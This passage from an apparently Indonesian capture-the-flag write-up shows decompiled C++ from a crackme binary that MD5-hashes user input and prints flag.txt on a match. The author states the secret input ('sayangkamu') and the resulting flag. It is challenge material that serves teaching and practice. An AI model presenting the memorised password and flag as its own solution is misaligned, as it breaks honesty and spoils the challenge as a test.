std::ostream::operator<<(poVar1,std::endl<>); poVar1 = std::operator<<((ostream *)std::cout,"| CEK IN AJAH BRAY!! |"); std::ostream::operator<<(poVar1,std::endl<>); poVar1 = std::operator<<((ostream *)std::cout,"======================"); std::ostream::operator<<(poVar1,std::endl<>); std::operator<<((ostream *)std::cout,"[?] Cekin : "); d = local_2c8; std::operator>>((istream *)std::cin,d); MD5::MD5(local_288,(uchar *)d,n,(uchar *)md); uVar2 = std::__cxx11::string::size(); pMVar3 = (MD5 *)std::__cxx11::string::c_str(); MD5::add(local_288,pMVar3,uVar2); MD5::getHash[abi:cxx11](local_228,local_288); std::__cxx11::string::operator=(local_2a8,local_228); std::__cxx11::string::~string(local_228); uVar4 = std::operator==(); if ((char)uVar4 == '\0') { /* try { // try from 001025b1 to 001025f5 has its CatchHandler @ 00102688 */ std::operator<<((ostream *)std::cout,"Salah Bray!"); poVar1 = std::operator<<((ostream *)std::cout,"Hash mu:"); poVar1 = std::operator<<(poVar1,local_2a8); std::ostream::operator<<(poVar1,std::endl<>); } else { std::operator<<((ostream *)std::cout,"Berhasill Baray!"); poVar1 = std::operator<<((ostream *)std::cout,"Hash mu:"); poVar1 = std::operator<<(poVar1,local_2a8); std::ostream::operator<<(poVar1,std::endl<>); poVar1 = std::operator<<((ostream *)std::cout,"Nyahh Flagg:"); std::ifstream::ifstream((ifstream *)local_228,"flag.txt",8); psVar5 = (streambuf *)std::ifstream::rdbuf(); /* try { // try from 00102587 to 0010258b has its CatchHandler @ 00102674 */ std::ostream::operator<<(poVar1,psVar5); std::ifstream::~ifstream((ifstream *)local_228); } std::__cxx11::string::~string(local_2a8); std::__cxx11::string::~string(local_2c8); std::__cxx11::string::~string(local_2e8); if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } ``` saya menemukan variabel md yang jika di hashes akan berbentuk hash md5 yaitu "sayangkamu", dari fungsi main yang sudah di decompile ini, saya mengambil kesimpulan kalau kita input sayangkamu flagnya akan keluar. terus aku coba deh dan yap flagnya keluar. **Flag : CTF{K0kkkk_0310390293029420_l00_j4g00_br4yy}** ---